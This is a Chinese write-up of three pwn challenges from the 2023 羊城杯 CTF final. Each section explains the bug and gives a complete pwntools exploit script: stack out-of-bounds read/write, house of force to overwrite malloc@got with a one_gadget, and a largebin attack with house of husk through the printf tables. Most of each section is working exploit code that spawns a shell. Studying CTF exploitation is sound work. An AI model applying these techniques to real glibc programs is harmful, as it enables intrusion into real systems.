2023 羊城杯 final

前言

笔者并未参加此次比赛, 仅仅做刷题记录. 题目难度中等偏下吧, 看你记不记得一些利用手法了.

arrary_index_bank

考点: 数组越界

保护: 除了 Canary, 其他保护全开, 题目给了后门

漏洞点:

idx/one 为 int64, 是带符号数, 所以这里存在向上越界, 并且 buf 为局部变量, 所以是栈上的向上越界读写.

漏洞利用:

1) 越界读泄漏程序基地址绕过 PIE, 泄漏栈地址

2) one 为 BSS 段上的变量, 其在栈的上方, 所以可以越界修改 one 为一个较大的数

3) 将 one 修改为一个较大的数之后, 就可以向下越界写了, 修改返回地址为后门函数地址即可

exp 如下: 由于栈可能不稳定或者其他原因, 成功率并不是 100%, 多打几次

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def oob_read(idx):
        sla(menu, b'1')
        sla(b'account?', byte(idx))

def oob_write(idx, data):
        sla(menu, b'2')
        sla(b'account?', byte(idx))
        sla(b'much?', byte(data))

#gdb.attach(io, 'b *$rebase(0x00000000000014FD)')
oob_read(-2)
rut(b' = ')
stack = int(rut(b'\n'), 10) - 0x30
info("stack", stack)

oob_read(-1)
rut(b' = ')
base = int(rut(b'\n'), 10) - 0x1327 - 255
backdoor = base + 0x1310
one = base + 0x4010
info("base", base)
info("backdoor", backdoor)
info("one", one)

offset = (one - stack) // 8
print("offset: ", offset)

oob_write(offset, 1000)
sl(b'2')
sl(b'7')
sl(byte(backdoor+8))
#pause()
sl(b'3')
#debug()
sh()

如果题目没有给后门, 可以考虑打 ret2libc, 经过测试在栈的上方存在 libc 地址, 可以用来泄漏 libc. 感兴趣可以自行尝试.

easy_force

考点: mmap分配堆块+house of force

保护: 就开了 Canary 和 NX, 所以可以打 got 表. glibc 为 2.23 (好久没见2.23的题目了, 悲

题目给了 5 次分配的机会, 程序只有这一个功能, 这里每次都会将堆地址打印出来, 并且当分配的堆块大小小于0x30时, 则存在堆溢出.并且申请的堆块大小不存在限制

漏洞利用

泄漏 libc 基址:

当申请的堆块比较大时如 0x200000, malloc 会从 mmap 映射一块内存, 而其地址一般与 libc 有固定偏移

匿名映射与文件映射区跟栈一样, 从高地址往低地址增长, 所以 mmap 出来的地址一般在 libc 上面

劫持 got 表:

存在堆溢出, 没有限制堆块申请大小, 可以泄漏堆地址, glibc 为 2.23 并且没有其他功能, 所以结合题目名字可知道这里得用 house of force

往 malloc@got 写入 one_gadget 进行 getshell

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'away'
def add(idx, size, data, flag=True):
        sla(menu, b'1')
        sla(b'index?', byte(idx))
        sla(b'want?', byte(size))
        if flag:
                sda(b'write?', data)

add(4, 2097152, b'A\n')
rut(b'the balckbroad on ')
libc.address = int(rut(b' is in use'), 16) + 0x200ff0
info("libc_base", libc.address)

add(3, 16, p64(0)*3+p64(0xffffffffffffffff))
rut(b'the balckbroad on ')
heap_base = int(rut(b' is in use'), 16) - 0x10
info("heap_base", heap_base)

"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
0x4527a execve("/bin/sh", rsp+0x30, environ)
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
0xf1247 execve("/bin/sh", rsp+0x70, environ)
"""
ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ones = [i+libc.address for i in ones]

system = libc.sym.system
malloc_got = 0x0000000000602040

size = malloc_got - 8 * 4 - heap_base - 0x20
add(0, size, b'A\n')
add(1, 16, p64(ones[0]))

add(2, 0, b'', False)

#debug()
sh()

效果如下:

Printf_but_not_fmtstr

考点: largebin attack + house of husk

保护: 只开了 Canary 和 NX, 并且题目给了后门. glibc 2.36

题目实现了一个菜单堆, 有增删查改的功能, 堆块大小限制在 [0x500, 0x900] 之间. 其中删除堆块时, 没有将指针置空, 存在 UAF 漏洞.

但是题目限制了不能修改 stdin/stdout/stderr. 所以常规的 largebin attack 打 IO 的方法就失效了. 并且程序没有正常退出并且没有显式的调用 exit, 所以 house of banana 也打不了.

但是题目给了后门并且 show 里面使用了格式化字符函数, 所以可以打 house of husk.

漏洞利用

1) 先利用 UAF 泄漏 libc_base 和 heap_base. 由于 printf 存在 \x00 截断, 所以可能不成功

2) largebin attack 修改 __printf_arginfo_table 和 __printf_function_table 为堆地址

3) 向对应的 __printf_arginfo_table['s'] 中写入后门函数地址

4) 在 show 即可 getshell

exp 如下: 环境 2.36-0ubuntu4_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>'
def add(idx, size):
        sla(menu, b'1')
        sla(b'Index: ', byte(idx))
        sla(b'Size: ', byte(size))

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))

def edit(idx, data):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))
        sda(b'Content: ', data)

def show(idx):
        sla(menu, b'4')
        sla(b'Index: ', byte(idx))

backdoor = 0x00000000004011D6

add(0, 0x610)
add(1, 0x500)
add(2, 0x600)
dele(0)
add(3, 0x700)

show(0)
rut(b'Content: ')
libc.address = addr64(b'\n')

edit(0, b'A'*14+b'XX')
show(0)
rut(b'XX')
heap_base = addr64(b'\n') - 0x290

edit(0, p64(libc.address)*2)
libc.address -= 0x1f7130
info("libc_base", libc.address)
info("heap_base", heap_base)


arginfo = libc.address + 0x1f7890
function = libc.address + 0x1f8980
info("__printf_arginfo_table", arginfo)
info("__printf_function_table", function)

dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(arginfo-0x20))
add(3, 0x700)

pay_0 = p64(heap_base+0xdc0) + p64(libc.address+0x1f7130) + p64(heap_base+0xdc0)*2
pay_2 = p64(libc.address+0x1f7130) + p64(heap_base+0x290)*3
edit(0, pay_0)
edit(2, pay_2)

add(2, 0x600)
dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(function-0x20))
add(3, 0x700)
edit(0, pay_0)
edit(2, pay_2)

offset = ord('s')*8 - 0x10

add(2, 0x600)
edit(2, b'\x00'*offset+p64(backdoor))
show(2)

#debug()
sh()

效果如下: